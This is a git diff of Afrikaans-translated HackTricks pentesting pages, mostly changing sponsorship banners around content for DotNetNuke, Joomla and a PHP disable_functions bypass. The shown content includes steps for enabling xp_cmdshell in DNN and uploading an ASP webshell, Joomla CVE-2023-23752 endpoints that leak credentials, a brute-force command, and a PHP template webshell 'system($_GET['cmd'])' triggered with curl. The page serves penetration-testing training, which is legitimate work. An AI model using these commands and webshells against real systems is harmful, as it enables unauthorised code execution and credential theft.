Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# Firebase Databasis
|
||||
# Firebase Database
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wat is Firebase
|
||||
|
||||
Firebase is 'n Backend-as-a-Service wat hoofsaaklik vir mobiele toepassings gebruik word. Dit fokus daarop om die las van die programmering van die agterkant te verwyder deur 'n mooi SDK sowel as baie ander interessante dinge te bied wat die interaksie tussen die toepassing en die agterkant vergemaklik.
|
||||
Firebase is 'n Backend-as-a-Services hoofsaaklik vir mobiele toepassings. Dit fokus op die verwydering van die las van programmering van die agterkant deur 'n mooi SDK te bied sowel as baie ander interessante dinge wat die interaksie tussen die toepassing en die agterkant vergemaklik.
|
||||
|
||||
Leer meer oor Firebase by:
|
||||
Leer meer oor Firebase in:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,29 @@
|
|||
# DotNetNuke (DNN)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
As jy as **administrateur** in DNN intree, is dit maklik om RCE te verkry.
|
||||
As jy as **administrateur** in DNN ingaan, is dit maklik om RCE te verkry.
|
||||
|
||||
## RCE
|
||||
|
||||
### Via SQL
|
||||
|
||||
'n SQL-konsole is toeganklik onder die **`Settings`**-bladsy waar jy **`xp_cmdshell`** kan aktiveer en **bedryfstelselopdragte kan uitvoer**.
|
||||
'n SQL-konsol is beskikbaar onder die **`Settings`** bladsy waar jy **`xp_cmdshell`** kan aktiveer en **bedryfstelselskommando's** kan uitvoer.
|
||||
|
||||
Gebruik hierdie lyne om **`xp_cmdshell`** te aktiveer:
|
||||
```sql
|
||||
|
@ -29,32 +32,35 @@ RECONFIGURE
|
|||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
```
|
||||
En druk **"Voer Skrip"** om daardie sQL sinne uit te voer.
|
||||
En druk **"Run Script"** om daardie sQL sinne uit te voer.
|
||||
|
||||
Gebruik dan iets soos die volgende om OS-opdragte uit te voer:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
```
|
||||
### Via ASP-webshell
|
||||
### Via ASP webshell
|
||||
|
||||
In `Instellings -> Sekuriteit -> Meer -> Meer Sekuriteitsinstellings` kan jy **nuwe toegelate uitbreidings** byvoeg onder `Toelaatbare Lêeruitbreidings`, en dan die `Stoor`-knoppie klik.
|
||||
In `Settings -> Security -> More -> More Security Settings` kan jy **nuwe toegelate uitbreidings** byvoeg onder `Allowable File Extensions`, en dan op die `Save` knoppie klik.
|
||||
|
||||
Voeg **`asp`** of **`aspx`** by en laai dan 'n **asp-webshell** op met die naam `shell.asp` byvoorbeeld in **`/admin/lêerbestuur`**.
|
||||
Voeg **`asp`** of **`aspx`** by en laai dan in **`/admin/file-management`** 'n **asp webshell** op genaamd `shell.asp` byvoorbeeld.
|
||||
|
||||
Toegang tot **`/Portals/0/shell.asp`** om toegang tot jou webshell te verkry.
|
||||
Gaan dan na **`/Portals/0/shell.asp`** om toegang tot jou webshell te verkry.
|
||||
|
||||
### Bevoorregte Eskalasie
|
||||
### Privilege Escalation
|
||||
|
||||
Jy kan **bevoorregte eskalasie** doen deur die gebruik van **Potatoes** of **PrintSpoofer** byvoorbeeld. 
|
||||
Jy kan **privileges verhoog** met behulp van die **Potatoes** of **PrintSpoofer** byvoorbeeld. 
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy vir 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Joomla
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Joomla Statistiek
|
||||
### Joomla Statistieke
|
||||
|
||||
Joomla versamel sekere anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die uiteensetting van Joomla, PHP en databasisweergawes en bedienersisteme wat op Joomla-installasies gebruik word. Hierdie data kan ondervra word via hul openbare [API](https://developer.joomla.org/about/stats/api.html).
|
||||
Joomla verskaf 'n paar anonieme [gebruik statistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasis weergawes en bediener bedryfstelsels wat op Joomla installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag word.
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
|
@ -42,9 +45,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|||
}
|
||||
}
|
||||
```
|
||||
## Opsomming
|
||||
## Enumeration
|
||||
|
||||
### Ontdekking/Voetspoor
|
||||
### Discovery/Footprinting
|
||||
|
||||
* Kontroleer die **meta**
|
||||
```bash
|
||||
|
@ -74,25 +77,27 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||
|
||||
* In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
|
||||
* In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
|
||||
* In **plugins/system/cache/cache.xml** kan jy 'n benaderende weergawe sien.
|
||||
* In **plugins/system/cache/cache.xml** kan jy 'n benaderde weergawe sien.
|
||||
|
||||
### Outomaties
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
In [**80,443 - Pentesting Web Metodologie** is 'n afdeling oor CMS-skandeerders](./#cms-skanners) wat Joomla kan skandeer.
|
||||
In[ **80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners**](./#cms-scanners) wat Joomla kan skandeer.
|
||||
|
||||
|
||||
### API Ongeagte Geen-gemagtigde Inligting Uitlek:
|
||||
Weergawes vanaf 4.0.0 tot 4.2.7 is vatbaar vir Ongeagte inligting uitlek (CVE-2023-23752) wat kredite en ander inligting sal dump.
|
||||
### API Ongeauthentiseerde Inligtingsontsluiting:
|
||||
Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeauthentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.
|
||||
|
||||
* Gebruikers: `http://<host>/api/v1/users?public=true`
|
||||
|
||||
* Konfigurasie-lêer: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
* Konfigurasie Lêer: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
|
||||
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby-skrip: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
|
||||
### Brute-Force
|
||||
|
||||
Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om die aanmelding met geweld te probeer.
|
||||
Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om te probeer om die aanmelding te brute force.
|
||||
```shell-session
|
||||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||||
|
||||
|
@ -100,11 +105,26 @@ admin:admin
|
|||
```
|
||||
## RCE
|
||||
|
||||
As jy daarin slaag om **admin-kredensiale** te kry, kan jy **RCE binne-in dit** kry deur 'n snipper van **PHP-kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon aan te pas**.
|
||||
As jy daarin slaag om **admin akrediteer** te verkry, kan jy **RCE binne dit** kry deur 'n stuk **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pas**.
|
||||
|
||||
1. **Klik** op **`Templates`** aan die onderkant links onder `Configuration` om die sjabloonmenu op te roep.
|
||||
2. **Klik** op 'n **sjabloonnaam**. Laat ons **`protostar`** kies onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
|
||||
3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Laat ons die **`error.php`** bladsy kies. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
|
||||
1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjabloonmenu op te roep.
|
||||
2. **Klik** op 'n **sjabloon** naam. Kom ons kies **`protostar`** onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
|
||||
3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Kom ons kies die **`error.php`** bladsy. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Save & Close**
|
||||
4. **Stoor & Sluit**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# disable\_functions omseil - PHP 7.0-7.4 (\*nix slegs)
|
||||
# disable\_functions omseiling - PHP 7.0-7.4 (\*nix slegs)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PHP 7.0-7.4 (\*nix slegs)
|
||||
|
||||
Vanaf [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||||
Van [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
|
|||
exit();
|
||||
}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Basiese Tomcat-inligting
|
||||
# Basiese Tomcat Inligting
|
||||
|
